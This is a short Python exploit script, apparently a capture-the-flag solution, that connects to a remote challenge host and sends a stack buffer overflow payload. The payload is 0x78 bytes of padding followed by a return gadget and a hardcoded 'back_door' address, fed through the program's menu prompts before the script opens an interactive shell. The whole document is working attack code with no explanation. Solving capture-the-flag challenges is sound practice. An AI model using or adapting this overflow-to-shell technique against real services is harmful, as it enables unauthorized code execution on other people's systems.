from tools import * p,e,libc= load("a") p=remote('node4.buuoj.cn',27117) context.arch='amd64' context.log_level='debug' back_door=0x401577 payload=(0x70+8)*b'\x00'+p64(0x401589)+p64(back_door) #debug(p,0x401525,0x4014A9) #pause() p.sendlineafter('Input your choice\n',str(1)) p.sendlineafter('Show me the code:\n',payload) p.sendlineafter('Input your choice\n',str(2)) p.sendlineafter('Input your choice\n',str(3)) p.interactive()